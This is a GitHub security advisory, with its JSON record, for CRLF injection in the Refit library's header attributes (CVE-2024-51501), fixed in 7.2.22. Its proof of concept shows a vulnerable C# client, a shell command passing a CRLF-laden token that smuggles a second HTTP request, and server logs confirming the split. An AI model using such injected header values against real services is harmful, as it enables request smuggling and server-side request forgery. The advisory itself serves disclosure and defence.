GHSA-3HXG-FXWM-8GF7

Vulnerability from github – Published: 2024-11-04 23:23 – Updated: 2024-11-08 15:19
VLAI?
Summary
CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes
Details

Summary

The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328 This method does not check for CRLF characters in the header value.

This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:

using Refit;

internal class Program
{
    private static void Main(string[] args)
    {
        // Usage: dotnet run <bearer token> 
        string token = args[0];
        var service = RestService.For<IStatusApi>("http://insert.some.site.here");
        string response = service.GetStatus(token).Result;
        Console.WriteLine($"Response: {response}");
    }

    public interface IStatusApi
    {
        [Get("/status")]
        Task<string> GetStatus([Authorize("Bearer")] string token);
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"

Impact

If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Refit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51501"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-04T23:23:17Z",
    "nvd_published_at": "2024-11-04T23:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328\u003e\nThis method does not check for CRLF characters in the header value.\n\nThis means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the \"Authorization\" header:\n\n```c#\nusing Refit;\n\ninternal class Program\n{\n    private static void Main(string[] args)\n    {\n        // Usage: dotnet run \u003cbearer token\u003e \n        string token = args[0];\n        var service = RestService.For\u003cIStatusApi\u003e(\"http://insert.some.site.here\");\n        string response = service.GetStatus(token).Result;\n        Console.WriteLine($\"Response: {response}\");\n    }\n\n    public interface IStatusApi\n    {\n        [Get(\"/status\")]\n        Task\u003cstring\u003e GetStatus([Authorize(\"Bearer\")] string token);\n    }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $\u0027test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here\u0027\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer \u003cbearer token\u003e\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"-\"\n```\n\n### Impact\nIf an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.\n\n",
  "id": "GHSA-3hxg-fxwm-8gf7",
  "modified": "2024-11-08T15:19:17Z",
  "published": "2024-11-04T23:23:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51501"
    },
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/commit/483b1d8df18098f137ca0eca056b7e9ec19f70dd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/reactiveui/refit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CRLF injection in Refit\u0027s [Header], [HeaderCollection] and [Authorize] attributes "
}


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